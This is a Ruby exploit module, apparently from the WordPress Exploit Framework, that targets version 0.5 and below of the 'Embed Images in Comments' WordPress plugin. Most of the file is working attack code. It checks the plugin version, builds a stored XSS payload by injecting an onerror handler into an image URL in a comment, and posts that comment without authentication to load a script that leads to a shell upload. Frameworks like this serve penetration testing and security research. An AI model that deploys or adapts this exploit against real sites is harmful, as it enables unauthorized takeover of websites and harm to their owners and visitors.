# frozen_string_literal: true

class Wpxf::Exploit::EmbedCommentImagesStoredXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::Comments
  include Wpxf::WordPress::StoredXss

  def initialize
    super

    update_info(
      name: 'Embed Images in Comments <= 0.5 Unauthenticated Stored XSS Shell Upload',
      author: [
        'Gennady',   # Disclosure
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8891']
      ],
      date: 'Aug 17 2017'
    )
  end

  def check
    check_plugin_version_from_readme('embed-comment-images', '0.6')
  end

  def vulnerable_page
    "#{full_uri}?p=#{datastore['comment_post_id']}#comment-#{comment_id}"
  end

  def comment_payload
    "http://#{Utility::Text.rand_alpha(5)}.jpg\"onerror=\"#{xss_ascii_encoded_include_script}\".jpg"
  end

  def store_payload_in_comment
    self.comment_id = post_wordpress_comment(
      datastore['comment_post_id'],
      "#{datastore['comment_content']}#{comment_payload}",
      datastore['comment_author'],
      datastore['comment_email'],
      datastore['comment_website']
    )
  end

  def store_script
    store_payload_in_comment

    # Craft a dummy HttpResponse to indicate success.
    res = Wpxf::Net::HttpResponse.new(nil)
    res.code = comment_id == -1 ? 404 : 200
    emit_error('Failed to post comment', true) if comment_id == -1

    res
  end

  attr_accessor :comment_id
end
